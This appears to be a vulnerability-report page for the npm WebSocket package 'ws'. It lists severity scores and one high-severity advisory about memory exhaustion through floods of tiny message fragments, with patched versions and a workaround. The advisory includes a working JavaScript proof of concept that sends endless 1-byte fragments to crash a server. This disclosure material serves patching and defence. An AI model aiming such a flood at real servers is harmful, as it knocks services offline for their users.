npm package report

Is ws safe?

7 known vulnerabilities, worst severity HIGH.

// reach

9 direct dependencies

none carry a known advisory

    639 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


    cvss
    7.5
    high

    CVSS v3.1 base score out of 10

    epss
    1.4%
    medium

    chance of exploitation in 30 days, 73rd percentile of all CVEs

    xyz score
    5.1
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-96hv-2xvq-fx4p, the advisory selected below

    // 7 advisories

    GHSA-96hv-2xvq-fx4p

    HIGHOSV ratingCVE-2026-48779
    // impact

    A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

    // proof of concept
    import { WebSocket, WebSocketServer } from 'ws';
    
    const wss = new WebSocketServer({ port: 0 }, function () {
      const data = Buffer.alloc(1);
      const options = { fin: false };
      const { port } = wss.address();
      const ws = new WebSocket(`ws://localhost:${port}`);
    
      ws.on('open', function () {
        (function send() {
          ws.send(data, options, function (err) {
            if (err) return;
            send();
          });
        })();
      });
    
      ws.on('error', console.error);
      ws.on('close', function (code, reason) {
        console.log(`client close - code: ${code} reason: ${reason.toString()}`);
      });
    });
    
    wss.on('connection', function (ws) {
      ws.on('error', console.error);
      ws.on('close', function (code, reason) {
        console.log(`server close - code: ${code} reason: ${reason.toString()}`);
      });
    });
    // patches

    The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

    // workarounds

    In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

    // credits

    The vulnerability was responsibly disclosed and fixed by Nadav Magier.

    // cvss v3.1 vector

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

    Attack vector
    Network
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    None
    Scope
    Unchanged
    Confidentiality
    None
    Integrity
    None
    Availability
    High

    Checked 2026-11-06 at 21:20 UTC. The most recent advisory here was published 2026-06-15. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.